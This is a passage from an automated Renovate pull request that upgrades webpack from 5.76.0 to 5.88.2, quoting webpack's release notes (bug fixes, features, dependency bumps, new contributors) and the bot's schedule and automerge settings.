[https://github.com/webpack/webpack/pull/16978](https://togithub.com/webpack/webpack/pull/16978) - ES Module webpack loaders are now supported [@​stefanprobst](https://togithub.com/stefanprobst) in [https://github.com/webpack/webpack/pull/15198](https://togithub.com/webpack/webpack/pull/15198) - Fix spelling error for `statement.finalizer` in parser by [@​xiaoboost](https://togithub.com/xiaoboost) in [https://github.com/webpack/webpack/pull/17016](https://togithub.com/webpack/webpack/pull/17016) - Fix non-deterministic `moduleId` assignment due to encountering `NaN` in sort function by [@​scameron](https://togithub.com/scameron) in [https://github.com/webpack/webpack/pull/16933](https://togithub.com/webpack/webpack/pull/16933) - \[enhanced-resolve]: Support wildcards pattern with common suffix in package maps & imports/exports field by [@​bvanjoi](https://togithub.com/bvanjoi) in [https://github.com/webpack/enhanced-resolve/pull/353](https://togithub.com/webpack/enhanced-resolve/pull/353) #### Tests & Contributor Experience - \[CSS] - Added test case for `@supports` field by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17011](https://togithub.com/webpack/webpack/pull/17011) - Add test for include option in `BannerPlugin` by [@​jeffin143](https://togithub.com/jeffin143) in [https://github.com/webpack/webpack/pull/10736](https://togithub.com/webpack/webpack/pull/10736) - Remove `finializer` from cspell.json by [@​snitin315](https://togithub.com/snitin315) in [https://github.com/webpack/webpack/pull/17022](https://togithub.com/webpack/webpack/pull/17022) #### Developer Experience - Adds the twitter badge by [@​yadunandanbhat](https://togithub.com/yadunandanbhat) in [https://github.com/webpack/webpack/pull/15667](https://togithub.com/webpack/webpack/pull/15667) - Add `wasm-bindgen` example to `example` by [@​gthb](https://togithub.com/gthb) in [https://github.com/webpack/webpack/pull/14313](https://togithub.com/webpack/webpack/pull/14313) - Update grammar mistakes in examples by [@​ersachin3112](https://togithub.com/ersachin3112) in [https://github.com/webpack/webpack/pull/16988](https://togithub.com/webpack/webpack/pull/16988) #### Dependencies & Maintenance - Bump core-js from 3.30.0 to 3.30.1 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/16983](https://togithub.com/webpack/webpack/pull/16983) - Bump `@webassemblyjs` by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17003](https://togithub.com/webpack/webpack/pull/17003) - Bump assemblyscript from 0.25.2 to 0.27.2 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/16959](https://togithub.com/webpack/webpack/pull/16959) - Bump enhanced-resolve to [5.13.0](https://togithub.com/webpack/enhanced-resolve/releases/tag/v5.13.0) by [@​TheLarkInn](https://togithub.com/TheLarkInn) in [https://github.com/webpack/webpack/pull/17024](https://togithub.com/webpack/webpack/pull/17024) - Included githubactions in the dependabot config by [@​neilnaveen](https://togithub.com/neilnaveen) in [https://github.com/webpack/webpack/pull/15618](https://togithub.com/webpack/webpack/pull/15618) - Fix prettier by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/16976](https://togithub.com/webpack/webpack/pull/16976) #### New Contributors - [@​neilnaveen](https://togithub.com/neilnaveen) made their first contribution in [https://github.com/webpack/webpack/pull/15618](https://togithub.com/webpack/webpack/pull/15618) - [@​yadunandanbhat](https://togithub.com/yadunandanbhat) made their first contribution in [https://github.com/webpack/webpack/pull/15667](https://togithub.com/webpack/webpack/pull/15667) - [@​ersachin3112](https://togithub.com/ersachin3112) made their first contribution in [https://github.com/webpack/webpack/pull/16988](https://togithub.com/webpack/webpack/pull/16988) - [@​stefanprobst](https://togithub.com/stefanprobst) made their first contribution in [https://github.com/webpack/webpack/pull/15198](https://togithub.com/webpack/webpack/pull/15198) - [@​xiaoboost](https://togithub.com/xiaoboost) made their first contribution in [https://github.com/webpack/webpack/pull/17016](https://togithub.com/webpack/webpack/pull/17016) - [@​scameron](https://togithub.com/scameron) made their first contribution in [https://github.com/webpack/webpack/pull/16933](https://togithub.com/webpack/webpack/pull/16933) **Full Changelog**: https://github.com/webpack/webpack/compare/v5.79.0...v5.80.0 ### [`v5.79.0`](https://togithub.com/webpack/webpack/releases/tag/v5.79.0) [Compare Source](https://togithub.com/webpack/webpack/compare/v5.78.0...v5.79.0) #### New Features - webpack will now support simple destructuring scenarios for treeshaking namespaced imports and `DefinePlugin` by [@​vankop](https://togithub.com/vankop) in [https://github.com/webpack/webpack/pull/16941](https://togithub.com/webpack/webpack/pull/16941) #### Bugfixes - Truncate extremely long module names in `DefaultStatsPrinter` by [@​snitin315](https://togithub.com/snitin315) in [https://github.com/webpack/webpack/pull/16882](https://togithub.com/webpack/webpack/pull/16882) - Add `[contenthash]` template support in `DllPlugin`'s `name` option by [@​snitin315](https://togithub.com/snitin315) in [https://github.com/webpack/webpack/pull/16935](https://togithub.com/webpack/webpack/pull/16935) - Fixed a bug where `readRecords` compiler hook was causing hangs in conjunction with the `ReadRecordsPlugin` by [@​snitin315](https://togithub.com/snitin315) & [@​zookatron](https://togithub.com/zookatron) in [https://github.com/webpack/webpack/pull/16944](https://togithub.com/webpack/webpack/pull/16944) - webpack can now consume ESM bundles generated by webpack's esm output support by [@​vankop](https://togithub.com/vankop) in [https://github.com/webpack/webpack/pull/15608](https://togithub.com/webpack/webpack/pull/15608) - \[CSS] - webpack now respects CSS's case-insensitivity with atTags like `@MEDIA` by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/16915](https://togithub.com/webpack/webpack/pull/16915) - \[CSS] - Fixes a bug where crossOriginLoading anonymous would not work when loading styles by [@​chenjiahan](https://togithub.com/chenjiahan) in [https://github.com/webpack/webpack/pull/16925](https://togithub.com/webpack/webpack/pull/16925) #### Developer Experience - Fix broken links and typos found in examples by [@​snitin315](https://togithub.com/snitin315) in [https://github.com/webpack/webpack/pull/16937](https://togithub.com/webpack/webpack/pull/16937) - Export more `Externals` Option types by [@​snitin315](https://togithub.com/snitin315) in [https://github.com/webpack/webpack/pull/12774](https://togithub.com/webpack/webpack/pull/12774) #### Contributor Experience - Add new test case for ModuleFederationPlugin usage with `shareScope` option by [@​snitin315](https://togithub.com/snitin315) in [https://github.com/webpack/webpack/pull/16943](https://togithub.com/webpack/webpack/pull/16943) - Bump core-js from 3.20.3 to 3.30.0 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/16905](https://togithub.com/webpack/webpack/pull/16905) - Update all applicable local dependencies and devDependencies by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/16919](https://togithub.com/webpack/webpack/pull/16919), [https://github.com/webpack/webpack/pull/16924](https://togithub.com/webpack/webpack/pull/16924), [https://github.com/webpack/webpack/pull/16936](https://togithub.com/webpack/webpack/pull/16936), [https://github.com/webpack/webpack/pull/16968](https://togithub.com/webpack/webpack/pull/16968) - Update to Jest 29 by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/16947](https://togithub.com/webpack/webpack/pull/16947) #### New Contributors - [@​chenjiahan](https://togithub.com/chenjiahan) made their first contribution in [https://github.com/webpack/webpack/pull/16925](https://togithub.com/webpack/webpack/pull/16925) - [@​karlhorky](https://togithub.com/karlhorky) made their first contribution in [https://github.com/webpack/webpack/pull/16419](https://togithub.com/webpack/webpack/pull/16419) - [@​zookatron](https://togithub.com/zookatron) made their first contribution in [https://github.com/webpack/webpack/pull/16301](https://togithub.com/webpack/webpack/pull/16301) **Full Changelog**: https://github.com/webpack/webpack/compare/v5.78.0...v5.79.0 ### [`v5.78.0`](https://togithub.com/webpack/webpack/releases/tag/v5.78.0) [Compare Source](https://togithub.com/webpack/webpack/compare/v5.77.0...v5.78.0) #### Features - Implement `amdContainer` support for AMD libraries (Fixes [#​16561](https://togithub.com/webpack/webpack/issues/16561)) by [@​long76](https://togithub.com/long76) in [https://github.com/webpack/webpack/pull/16562](https://togithub.com/webpack/webpack/pull/16562) #### Bugfixes - \[CSS] - Nested atRule's `@media` or `@supports` now properly are replaced with unique identifiers by [@​noreiller](https://togithub.com/noreiller) in [https://github.com/webpack/webpack/pull/15812](https://togithub.com/webpack/webpack/pull/15812) - \[CSS] - Fix bug where closing parenthesis in CSS were not properly parsed and compiled by [@​janlent1](https://togithub.com/janlent1) in [https://github.com/webpack/webpack/pull/16864](https://togithub.com/webpack/webpack/pull/16864) - Fix an issue where `oneOf` rule has been picked multiple times by [@​xiaoxiaojx](https://togithub.com/xiaoxiaojx) in [https://github.com/webpack/webpack/pull/16477](https://togithub.com/webpack/webpack/pull/16477) - Add `createRequire` support for `node:module` prefix by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/16904](https://togithub.com/webpack/webpack/pull/16904) - Fix bug where self-referencing a package in a shared module failed by [@​weareoutman](https://togithub.com/weareoutman) in [https://github.com/webpack/webpack/pull/16685](https://togithub.com/webpack/webpack/pull/16685) #### Performance - Make `ErrorHelpers` named functions; Add types by [@​TheLarkInn](https://togithub.com/TheLarkInn) in [https://github.com/webpack/webpack/pull/16893](https://togithub.com/webpack/webpack/pull/16893) - Introduce `ModuleTypeConstants` for plugins by [@​TheLarkInn](https://togithub.com/TheLarkInn) in [https://github.com/webpack/webpack/pull/16896](https://togithub.com/webpack/webpack/pull/16896) - Refactor memory footprint in string usages for multiple plugins by [@​TheLarkInn](https://togithub.com/TheLarkInn) in [https://github.com/webpack/webpack/pull/16894](https://togithub.com/webpack/webpack/pull/16894) - Add more module type constants, use them across codebase by [@​TheLarkInn](https://togithub.com/TheLarkInn) in [https://github.com/webpack/webpack/pull/16898](https://togithub.com/webpack/webpack/pull/16898) #### Contributor Experience - Implement default PR Template to use GitHub Copilot for PR's integration and fix template name usage by [@​geromegrignon](https://togithub.com/geromegrignon) in [https://github.com/webpack/webpack/pull/16890](https://togithub.com/webpack/webpack/pull/16890) - ci: update actions/cache to v3 by [@​armujahid](https://togithub.com/armujahid) in [https://github.com/webpack/webpack/pull/16462](https://togithub.com/webpack/webpack/pull/16462) - webpack org Collaborators and Members now have [funded GitHub Codespaces!](https://togithub.com/openjs-foundation/cross-project-council/issues/1009) [](https://togithub.com/codespaces/new?hide_repo_select=true\&ref=main\&repo=3678731\&machine=standardLinux32gb\&location=WestUs2) #### New Contributors - [@​geromegrignon](https://togithub.com/geromegrignon) made their first contribution in [https://github.com/webpack/webpack/pull/16890](https://togithub.com/webpack/webpack/pull/16890) - [@​armujahid](https://togithub.com/armujahid) made their first contribution in [https://github.com/webpack/webpack/pull/16462](https://togithub.com/webpack/webpack/pull/16462) - [@​long76](https://togithub.com/long76) made their first contribution in [https://github.com/webpack/webpack/pull/16562](https://togithub.com/webpack/webpack/pull/16562) - [@​weareoutman](https://togithub.com/weareoutman) made their first contribution in [https://github.com/webpack/webpack/pull/16685](https://togithub.com/webpack/webpack/pull/16685) **Full Changelog**: https://github.com/webpack/webpack/compare/v5.77.0...v5.78.0 ### [`v5.77.0`](https://togithub.com/webpack/webpack/releases/tag/v5.77.0) [Compare Source](https://togithub.com/webpack/webpack/compare/v5.76.3...v5.77.0) #### New Features - Add a new output option, `output.workerPublicPath` by [@​thomastay](https://togithub.com/thomastay) in [https://github.com/webpack/webpack/pull/16671](https://togithub.com/webpack/webpack/pull/16671) #### Developer Experience - Improve `resolve.extensions` error message to suggest when `"."` is missing before the extension by [@​snitin315](https://togithub.com/snitin315) in [https://github.com/webpack/webpack/pull/16807](https://togithub.com/webpack/webpack/pull/16807) #### Contributor Experience - Enable GitHub Copilot for PR's into default Pull Request Template by [@​TheLarkInn](https://togithub.com/TheLarkInn) in [https://github.com/webpack/webpack/pull/16881](https://togithub.com/webpack/webpack/pull/16881) #### New Contributors - [@​thomastay](https://togithub.com/thomastay) made their first contribution in [https://github.com/webpack/webpack/pull/16671](https://togithub.com/webpack/webpack/pull/16671) **Full Changelog**: https://github.com/webpack/webpack/compare/v5.76.3...v5.77.0 ### [`v5.76.3`](https://togithub.com/webpack/webpack/releases/tag/v5.76.3) [Compare Source](https://togithub.com/webpack/webpack/compare/v5.76.2...v5.76.3) #### Bugfixes - Non-javascript files will correctly **not** be imported when using `experiments.outputModule` (ES Module Output) by [@​snitin315](https://togithub.com/snitin315) in [https://github.com/webpack/webpack/pull/16809](https://togithub.com/webpack/webpack/pull/16809) - Limit console output progress bar length to 40 when no columns provided by [@​snitin315](https://togithub.com/snitin315) in [https://github.com/webpack/webpack/pull/16810](https://togithub.com/webpack/webpack/pull/16810) - Add missing NodeJS Builtin Modules support for `inspector/promises`, `readline/promises`, and `stream/consumers` by [@​ShenHongFei](https://togithub.com/ShenHongFei) in [https://github.com/webpack/webpack/pull/16841](https://togithub.com/webpack/webpack/pull/16841) - webpack bin/cli now properly respects `NODE_PATH` env variable by [@​snitin315](https://togithub.com/snitin315) in [https://github.com/webpack/webpack/pull/16808](https://togithub.com/webpack/webpack/pull/16808) - Improve typos in `resolveResourceErrorHints` by [@​snitin315](https://togithub.com/snitin315) in [https://gi </details> --- ### Configuration 📅 **Schedule**: Branch creation - "before 4am on Monday" in timezone America/New_York, Automerge - At any time (no schedule defined). 🚦 **Automerge**: Enabled. ♻ **Rebasing**: Whenever PR is behind base branch, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about this update again. --- - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box --- This PR has been generated by [Mend Renovate](https://www.mend.io/free-developer-tools/renovate/). View repository job log [here](https://developer.mend.io/github/openedx/edx-ui-toolkit). <!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzNi4yNy4xIiwidXBkYXRlZEluVmVyIjoiMzYuMjcuMSIsInRhcmdldEJyYW5jaCI6Im1hc3RlciJ9--> Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
[](https://renovatebot.com) This PR contains the following updates: | Package | Change | Age | Adoption | Passing | Confidence | |---|---|---|---|---|---| | [webpack](https://togithub.com/webpack/webpack) | [`5.76.0` -> `5.88.2`](https://renovatebot.com/diffs/npm/webpack/5.76.0/5.88.2) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) | --- ### ⚠ Dependency Lookup Warnings ⚠ Warnings were logged while processing this repo. Please check the Dependency Dashboard for more information. --- ### Release Notes <details> <summary>webpack/webpack (webpack)</summary> ### [`v5.88.2`](https://togithub.com/webpack/webpack/releases/tag/v5.88.2) [Compare Source](https://togithub.com/webpack/webpack/compare/v5.88.1...v5.88.2) #### Bug Fixes - Fixed a bug where unused identifiers should retain names when using css modules by [@​burhanuday](https://togithub.com/burhanuday) in [https://github.com/webpack/webpack/pull/17444](https://togithub.com/webpack/webpack/pull/17444) **Full Changelog**: https://github.com/webpack/webpack/compare/v5.88.1...v5.88.2 ### [`v5.88.1`](https://togithub.com/webpack/webpack/releases/tag/v5.88.1) [Compare Source](https://togithub.com/webpack/webpack/compare/v5.88.0...v5.88.1) #### Developer Experience - Significantly improve TypeScript coverage for Library Plugins by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17414](https://togithub.com/webpack/webpack/pull/17414) **Full Changelog**: https://github.com/webpack/webpack/compare/v5.88.0...v5.88.1 ### [`v5.88.0`](https://togithub.com/webpack/webpack/releases/tag/v5.88.0) [Compare Source](https://togithub.com/webpack/webpack/compare/v5.87.0...v5.88.0) #### New Features - \[CSS] - Use `css/auto` as the default css mode by [@​burhanuday](https://togithub.com/burhanuday) in [https://github.com/webpack/webpack/pull/17399](https://togithub.com/webpack/webpack/pull/17399) #### Bug Fixes - Fix bugs related to require.context and layer by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17388](https://togithub.com/webpack/webpack/pull/17388) - Fix bug in runtime for CSS loading by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17400](https://togithub.com/webpack/webpack/pull/17400) - Correct indirect call for tagged template expressions using correct this context by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17397](https://togithub.com/webpack/webpack/pull/17397) - Update environment support for KaiOS browser by [@​steverep](https://togithub.com/steverep) in [https://github.com/webpack/webpack/pull/17395](https://togithub.com/webpack/webpack/pull/17395) - Fix async module runtime code for running top-level-await by [@​ahabhgk](https://togithub.com/ahabhgk) in [https://github.com/webpack/webpack/pull/17393](https://togithub.com/webpack/webpack/pull/17393) #### Developer Experience - Add example for stats minimal output by [@​ersachin3112](https://togithub.com/ersachin3112) in [https://github.com/webpack/webpack/pull/17406](https://togithub.com/webpack/webpack/pull/17406) - Significantly improve type coverage for Dependency, Runtime, Template classes by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17394](https://togithub.com/webpack/webpack/pull/17394) #### Dependencies & Maintenance - Bump browserslist from 4.21.8 to 4.21.9 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17389](https://togithub.com/webpack/webpack/pull/17389) - Bump acorn from 8.8.2 to 8.9.0 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17402](https://togithub.com/webpack/webpack/pull/17402) - Bump eslint from 8.42.0 to 8.43.0 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17401](https://togithub.com/webpack/webpack/pull/17401) - Bump eslint-plugin-jest from 27.2.1 to 27.2.2 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17407](https://togithub.com/webpack/webpack/pull/17407) #### New Contributors - [@​steverep](https://togithub.com/steverep) made their first contribution in [https://github.com/webpack/webpack/pull/17395](https://togithub.com/webpack/webpack/pull/17395) **Full Changelog**: https://github.com/webpack/webpack/compare/v5.87.0...v5.88.0 ### [`v5.87.0`](https://togithub.com/webpack/webpack/releases/tag/v5.87.0) [Compare Source](https://togithub.com/webpack/webpack/compare/v5.86.0...v5.87.0) #### New Features - Implement `fetchPriority` feature as parser option and magic comment by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17249](https://togithub.com/webpack/webpack/pull/17249) - \[CSS] - Introduce 'css/auto' as a css module type by [@​ahabhgk](https://togithub.com/ahabhgk) in [https://github.com/webpack/webpack/pull/16577](https://togithub.com/webpack/webpack/pull/16577) - \[CSS] - Style-specific fields now automatically resolve in package.json by [@​burhanuday](https://togithub.com/burhanuday) in [https://github.com/webpack/webpack/pull/17346](https://togithub.com/webpack/webpack/pull/17346) - webpack configuration API now accepts "falsy values" loaders and plugins by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17339](https://togithub.com/webpack/webpack/pull/17339) #### Bug Fixes - Fix codecov badge in readme by [@​burhanuday](https://togithub.com/burhanuday) in [https://github.com/webpack/webpack/pull/17353](https://togithub.com/webpack/webpack/pull/17353) #### Developer Experience - Add link to svelte loader for webpack by [@​burhanuday](https://togithub.com/burhanuday) in [https://github.com/webpack/webpack/pull/17369](https://togithub.com/webpack/webpack/pull/17369) - Increase parser API types in internal plugins across dependency plugins [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17365](https://togithub.com/webpack/webpack/pull/17365) #### Dependencies & Maintenance - Bump memfs from 3.5.2 to 3.5.3 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17347](https://togithub.com/webpack/webpack/pull/17347) - Bump webpack-cli from 5.1.3 to 5.1.4 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17349](https://togithub.com/webpack/webpack/pull/17349) - Bump es-module-lexer from 1.2.1 to 1.3.0 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17362](https://togithub.com/webpack/webpack/pull/17362) - Bump [@​types/node](https://togithub.com/types/node) from 20.2.5 to 20.3.0 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17361](https://togithub.com/webpack/webpack/pull/17361) - Bump core-js from 3.30.2 to 3.31.0 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17360](https://togithub.com/webpack/webpack/pull/17360) - Bump browserslist from 4.21.6 to 4.21.8 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17367](https://togithub.com/webpack/webpack/pull/17367) - Bump [@​types/node](https://togithub.com/types/node) from 20.3.0 to 20.3.1 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17366](https://togithub.com/webpack/webpack/pull/17366) #### New Contributors [@​aboktor](https://togithub.com/aboktor) made their first contribution in [#​16991](https://togithub.com/webpack/webpack/issues/16991) [#​16989](https://togithub.com/webpack/webpack/issues/16989) [@​silverwind](https://togithub.com/silverwind) made their first contribution in [#​17339](https://togithub.com/webpack/webpack/issues/17339) via [#​17329](https://togithub.com/webpack/webpack/issues/17329) **Full Changelog**: https://github.com/webpack/webpack/compare/v5.86.0...v5.87.0 ### [`v5.86.0`](https://togithub.com/webpack/webpack/releases/tag/v5.86.0) [Compare Source](https://togithub.com/webpack/webpack/compare/v5.85.1...v5.86.0) #### New Features - Improved cache size performance via better handling of serialization for errors and bigints by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17282](https://togithub.com/webpack/webpack/pull/17282) - Introduce an export default handler function option for `ProgressPlugin` by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17312](https://togithub.com/webpack/webpack/pull/17312) - Support passing `RegExp` to `splitChunks.chunks` by [@​hyf0](https://togithub.com/hyf0) in [https://github.com/webpack/webpack/pull/17332](https://togithub.com/webpack/webpack/pull/17332) #### Bug Fixes - Fix layer capabilities for `ContextModule` types by [@​huozhi](https://togithub.com/huozhi) in [https://github.com/webpack/webpack/pull/17310](https://togithub.com/webpack/webpack/pull/17310) - Fix compatibility of `__non_webpack_require__` with ES modules by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17308](https://togithub.com/webpack/webpack/pull/17308) - Improve type coverage `Chunk`, `ChunkGroup`, and other plugins by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/1731](https://togithub.com/webpack/webpack/pull/1731) - Do not add `js` extension for eval source maps when extension is not resolvable by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17331](https://togithub.com/webpack/webpack/pull/17331) #### Developer Experience - Improve type coverage for Json Module type and lazy load json-assertions package by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17301](https://togithub.com/webpack/webpack/pull/17301) #### Dependencies & Maintenance - Bump memfs from 3.5.1 to 3.5.2 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17315](https://togithub.com/webpack/webpack/pull/17315) - Bump webpack-cli from 5.1.1 to 5.1.3 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17314](https://togithub.com/webpack/webpack/pull/17314) - Bump eslint from 8.41.0 to 8.42.0 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17313](https://togithub.com/webpack/webpack/pull/17313) #### New Contributors - [@​huozhi](https://togithub.com/huozhi) made their first contribution in [https://github.com/webpack/webpack/pull/17310](https://togithub.com/webpack/webpack/pull/17310) - [@​hyf0](https://togithub.com/hyf0) made their first contribution in [https://github.com/webpack/webpack/pull/17332](https://togithub.com/webpack/webpack/pull/17332) **Full Changelog**: https://github.com/webpack/webpack/compare/v5.85.1...v5.86.0 ### [`v5.85.1`](https://togithub.com/webpack/webpack/releases/tag/v5.85.1) [Compare Source](https://togithub.com/webpack/webpack/compare/v5.85.0...v5.85.1) #### Bug Fixes - Fix bug in handling barrel imports ([#​17305](https://togithub.com/webpack/webpack/issues/17305)) by [@​bworline](https://togithub.com/bworline) in [https://github.com/webpack/webpack/pull/17307](https://togithub.com/webpack/webpack/pull/17307) - ***NOTE**: An internal API `BasicEvaluatedExpression.getMemberRangeStarts` has been changed to `BasicEvaluatedExpression.getMemberRanges`, please see type definition changes and the pull request for more information.* #### Dependencies & Maintenance - Bump [@​types/jest](https://togithub.com/types/jest) from 29.5.1 to 29.5.2 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17297](https://togithub.com/webpack/webpack/pull/17297) **Full Changelog**: https://github.com/webpack/webpack/compare/v5.85.0...v5.85.1 ### [`v5.85.0`](https://togithub.com/webpack/webpack/releases/tag/v5.85.0) [Compare Source](https://togithub.com/webpack/webpack/compare/v5.84.1...v5.85.0) #### New Features - Add `readonly` cache mode by [@​vankop](https://togithub.com/vankop) in [https://github.com/webpack/webpack/pull/15470](https://togithub.com/webpack/webpack/pull/15470) - Normalize property accessors for esm namespaces and chained member/call expressions by [@​bworline](https://togithub.com/bworline) in [https://github.com/webpack/webpack/pull/17203](https://togithub.com/webpack/webpack/pull/17203) - Support `environment` in loader context by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17281](https://togithub.com/webpack/webpack/pull/17281) - Introduce a new syntax for `addModule()` support in worklets - `*context.audioWorklet.addModule()` by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17212](https://togithub.com/webpack/webpack/pull/17212) #### Bug Fixes - Fix type regression with unknown module type strings by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17266](https://togithub.com/webpack/webpack/pull/17266) #### Developer Experience - Use global runtime constants for webpack exports by [@​burhanuday](https://togithub.com/burhanuday) in [https://github.com/webpack/webpack/pull/17270](https://togithub.com/webpack/webpack/pull/17270) - Add strict mode type coverage for WASM and Runtime code by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17267](https://togithub.com/webpack/webpack/pull/17267) - Add strict mode type coverage for runtime modules and runtime plugins by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17261](https://togithub.com/webpack/webpack/pull/17261) - Add types for JSON & Asset Modules including their interfacing plugins by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17262](https://togithub.com/webpack/webpack/pull/17262) - Add type coverage for Module subclasses and plugins by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17272](https://togithub.com/webpack/webpack/pull/17272) #### Dependencies & Maintenance - Use GitHub Discussions instead of Gitter in issue templates by [@​snitin315](https://togithub.com/snitin315) in [https://github.com/webpack/webpack/pull/17293](https://togithub.com/webpack/webpack/pull/17293) - Bump [@​types/node](https://togithub.com/types/node) from 20.2.3 to 20.2.4 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17269](https://togithub.com/webpack/webpack/pull/17269) - Bump browserslist from 4.21.5 to 4.21.6 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17275](https://togithub.com/webpack/webpack/pull/17275) - Bump [@​types/node](https://togithub.com/types/node) from 20.2.4 to 20.2.5 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17276](https://togithub.com/webpack/webpack/pull/17276) - Bump [@​babel/core](https://togithub.com/babel/core) from 7.21.8 to 7.22.1 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17278](https://togithub.com/webpack/webpack/pull/17278) **Full Changelog**: https://github.com/webpack/webpack/compare/v5.84.1...v5.85.0 ### [`v5.84.1`](https://togithub.com/webpack/webpack/releases/tag/v5.84.1) [Compare Source](https://togithub.com/webpack/webpack/compare/v5.84.0...v5.84.1) #### Bug Fixes - Fix regression in inner graph for reserved identifiers by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17265](https://togithub.com/webpack/webpack/pull/17265) #### Dependencies & Maintenance - Bump [@​types/jest](https://togithub.com/types/jest) from 29.5.0 to 29.5.1 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17027](https://togithub.com/webpack/webpack/pull/17027) - Bump simple-git from 3.18.0 to 3.19.0 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17263](https://togithub.com/webpack/webpack/pull/17263) **Full Changelog**: https://github.com/webpack/webpack/compare/v5.84.0...v5.84.1 ### [`v5.84.0`](https://togithub.com/webpack/webpack/releases/tag/v5.84.0) [Compare Source](https://togithub.com/webpack/webpack/compare/v5.83.1...v5.84.0) #### New Features - SourceMapDevToolPlugin now supports `append` option as a function by [@​snitin315](https://togithub.com/snitin315) in [https://github.com/webpack/webpack/pull/17252](https://togithub.com/webpack/webpack/pull/17252) #### Bug Fixes - Fix multiple bugs referencing class names when shadowed by import name in properties and methods by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17233](https://togithub.com/webpack/webpack/pull/17233) - Allow DefinePlugin shorthand property by [@​shamoilarsi](https://togithub.com/shamoilarsi) in [https://github.com/webpack/webpack/pull/17231](https://togithub.com/webpack/webpack/pull/17231) - \[CSS] - Fix edge cases in parsing `@import` by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17229](https://togithub.com/webpack/webpack/pull/17229) #### Developer Experience - Increase type coverage for serialization classes by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17243](https://togithub.com/webpack/webpack/pull/17243) - Increase type coverage for `JavascriptParser` and `ModuleDependency` subclasses by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17236](https://togithub.com/webpack/webpack/pull/17236) - Increase 